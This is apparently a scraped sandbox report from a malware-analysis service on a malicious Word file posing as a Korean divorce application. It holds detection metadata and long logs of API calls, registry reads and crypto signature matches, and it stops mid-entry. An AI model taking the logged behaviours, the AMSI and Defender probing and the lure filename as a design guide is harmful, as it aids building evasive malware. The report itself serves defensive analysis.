Error 404 (Not Found)!!1

24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 45:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T49b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample e8475fe3ac27… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e8475fe3ac27…. Malware family: Trojan.Generic. Threat score 100/100. 8/25 AV engines flagged this file. 4 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e8475fe3ac277d2eda466aaa4d42044d7230ac650b62dde38bf9727514c3ad69","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","e8475fe3ac277d2eda466aaa4d42044d7230ac650b62dde38bf9727514c3ad69"],"about":{"@type":"SoftwareApplication","name":"협의 이혼 의사 확인 신청서.doc","applicationCategory":["docx","office"],"identifier":"e8475fe3ac277d2eda466aaa4d42044d7230ac650b62dde38bf9727514c3ad69","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":8,"total":25},"behavioralIndicators":{"malicious":4,"suspicious":8},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T941,Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp")26:T444,Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp")27:T45b,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Found URL in decoded VBA string Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content)28:T13b6,"wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005060) "wscript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005060) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac4733f97f0000000000000000000051ed5a34f97f0000000000001f02000000000000000000008043b958392200002a0000000000000060ab065b1f0200008fec5a34f97f0000e0ac4733f97f0000e0ac4733f97f0000000000000000000000000000f97f0000ffffff7fe1ee000000000000000000000000000000000000d8ce3b33f97f00002a0000000000000069c3f432f97f00003100000000000000dc02000000000000e0020000000000001100011000000000b0d1cfac8200000003a3e331f97f0000b0d1cfac8200000000000000000000002b00000000000000000000000000000020b0fa32f97f0000b43ff932f97f0000e0ce3b33 (UID: 00000000-00005060) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000080000000000000000000000000000000000000000000000810100000000000010200000000000000000045b1f0200000b8e5834f97f00000000045b1f0200000a000000f97f000000200000000000001020000000000000e078045b1f020000c8c0cfac8200000099c1cfac8200000003000000f97f00006000095b1f02000069ee5c34f97f00000000000000000000b051095b1f020000385db5dc00000000400000000000000000000000000000008403fe7f000000006000095b1f0200008503fe7f00000000000000000000000000005803f97f0000000000000000000000295803f97f00000000000000000000f7d95903f97f000000000000 (UID: 00000000-00005060) "wscript.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005060) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000285b1f0200000b8e5834f97f00000000285b1f020000020000001f020000380000000000000040000000000000003003285b1f020000d8dfcfac820000000100000000000000030000000000000001000000000000001600000000000000e010f85a1f02000000000000000000000000f85a1f020000f0ae905d1f02000000000000000000000000000001000000000000000000000080000000000000000400000000000000000000000000000088af905d1f02000004000000000000003800000000000000f098e231f97f00003800000000000000380000000000000050e1cfac82000000c00cef1bf97f000000000000 (UID: 00000000-00005060) "wscript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b08229f97f00000700000000000000000000000000000001000000000000009048135d1f020000000000000000000080f5155d1f0200004c98e231f97f000040f3155d1f020000b3cee51bf97f0000b0fa155d1f020000004f8229f97f0000d0b08229f97f000000000000000000000000000000000000b0fa155d1f0200009048135d1f020000007b135d1f020000a8e1cfac820000004c98e231f97f00000100000000000000a8e1cfac82000000007b135d1f020000b0fa155d1f020000010000000000000002bce51bf97f000020fa155d1f0200009030145d1f020000feffffff040000007df08129f97f0000807a135d (UID: 00000000-00005060) "wscript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000700000000000000000000000000000001000000000000009048135d1f020000000000000000000080f5155d1f0200004c98e231f97f0000c0ef155d1f020000b3cee51bf97f000030f9155d1f020000384f8229f97f0000d0b08229f97f00000000000000000000000000000000000030f9155d1f0200009048135d1f020000007b135d1f020000a0e1cfac820000004c98e231f97f00000100000000000000a0e1cfac82000000007b135d1f02000030f9155d1f020000010000000000000002bce51bf97f000000000000000000009030145d1f02000020fa155d04000000feffffffffffffff9048135d1f0200007df08129f97f000000000000 (UID: 00000000-00005060)29:T5da,"wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020fecfac8200000000000000000000003049045b1f020000d8f1fc31f97f0000e0fdcfac820000000000000000000000011c045b1f0200001f0000000000000000000100000000003015055b1f02000000000100 (UID: 00000000-00005060) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000dcf6cfac82000000000000000000000090facfac8200000098fa065b1f020000f0f0cfac8200000000000000000000004ef73b31f97f0000dcf6cfac820000000000000000000000000000000000000099ddfc31f97f0000000000000000000080f0cfac8200000090f0cfac82000000010000008200000000000000 (UID: 00000000-00005060) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b3c31f97f000000008b29f97f00000000000000000000000000000000000008068c29f97f00000001000000000000f098e231f97f000000010000000000000001000000000000000000000000000000068c29f97f000001000000000000000f188b29f97f0000000000000000000000068c29f97f000000000000 (UID: 00000000-00005060) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000005e21e822f97f00007f0200000000000000000000000000000000000000000000801f0000ffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005060)2a:T9b8,"wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")2b:T4ed,"wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")2c:T641,"wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005060) "wscript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005060)2d:T2547,"wscript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00005060) "wscript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00005060)2e:Tba1e,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: 